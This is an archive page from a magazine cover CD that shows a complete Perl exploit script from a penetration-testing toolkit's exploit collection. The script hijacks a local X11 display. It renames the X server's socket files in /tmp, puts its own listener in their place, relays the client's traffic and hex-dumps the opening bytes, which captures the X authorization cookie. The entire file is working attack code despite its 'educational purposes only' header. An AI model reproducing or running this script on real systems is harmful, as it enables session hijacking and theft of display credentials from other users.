home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
xwin
/
x11.tmp.pl
< prev
next >
Wrap
Perl Script
|
2005-02-12
|
3KB
|
100 lines
#!/usr/bin/perl
# Copyright (c) 1997 Pavel Kankovsky
# Permission to use, modify, and redistribute this program under the
# terms of GNU General Public License version 2, as published by the
# Free Software Foundation, is hereby granted. There is ABSOLUTELY
# NO WARRANTY. You use it at your own risk.
# WARNING! This program is provided for educational purposes only.
# Inappropriate use or abuse may result in malfunction or inaccessibility
# of computing systems, disclosure, loss or corruption of data, and other
# damages.
use Socket;
sub dump_snap
{
my ($txt) = @_;
my ($pos, $len) = (0, length($txt));
while ($pos < $len) {
my ($p, $l1, $l2) = ($pos, '', '');
foreach $k (0..15) {
if ($pos < $len) {
my ($c) = ord(substr($txt, $pos, 1));
$l1 .= sprintf("%02x ", $c);
$l2 .= $c >= 32 && $c < 127 ? chr($c) : '.';
}
else {
$l1 .= ' ';
}
++$pos;
}
printf("%04x %s%s\n", $p, $l1, $l2);
}
}
$SIG{CHLD} = 'IGNORE';
$display0 = $ARGV[0];
$display1 = $ARGV[1];
rename("/tmp/.X11-unix/$display0", "/tmp/.X11-unix/$display1");
rename("/tmp/.X11-pipe/$display0", "/tmp/.X11-pipe/$display1");
socket(Server, PF_UNIX, SOCK_STREAM, 0) || die $!;
bind(Server, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
listen(Server, SOMAXCONN) || die $!;
$success = 0;
eval {
local $SIG{INT} = sub { die; };
accept(Client, Server) || die;
$success = 1;
};
rename("/tmp/.X11-unix/$display1", "/tmp/.X11-unix/$display0");
rename("/tmp/.X11-pipe/$display1", "/tmp/.X11-pipe/$display0");
if ($success) {
$pid = fork();
if ($pid == 0) {
close(Server);
socket(Forward, PF_UNIX, SOCK_STREAM, 0) || die $!;
connect(Forward, sockaddr_un("/tmp/.X11-unix/$display0")) || die $!;
$fdset = '';
vec($fdset, fileno(Client), 1) = 1;
vec($fdset, fileno(Forward), 1) = 1;
$snapped = '';
$snaplen = 0x40;
while (select($rset = $fdset, undef, undef, undef)) {
if (vec($rset, fileno(Client), 1) != 0) {
$b = sysread(Client, $buffer, 16);
if ($b > 0) {
syswrite(Forward, $buffer, $b);
if ($snaplen > 0) {
$snapped .= substr($buffer, 0, $b);
$snaplen -= $b;
dump_snap($snapped) if ($snaplen <= 0);
}
}
last if (!$b);
}
if (vec($rset, fileno(Forward), 1) != 0) {
$b = sysread(Forward, $buffer, 16);
if ($b > 0) {
syswrite(Client, $buffer, $b);
}
last if (!$b);
}
}
close(Forward);
close(Client);
exit(0);
}
close(Client);
}
# www.hack.co.za [1999]#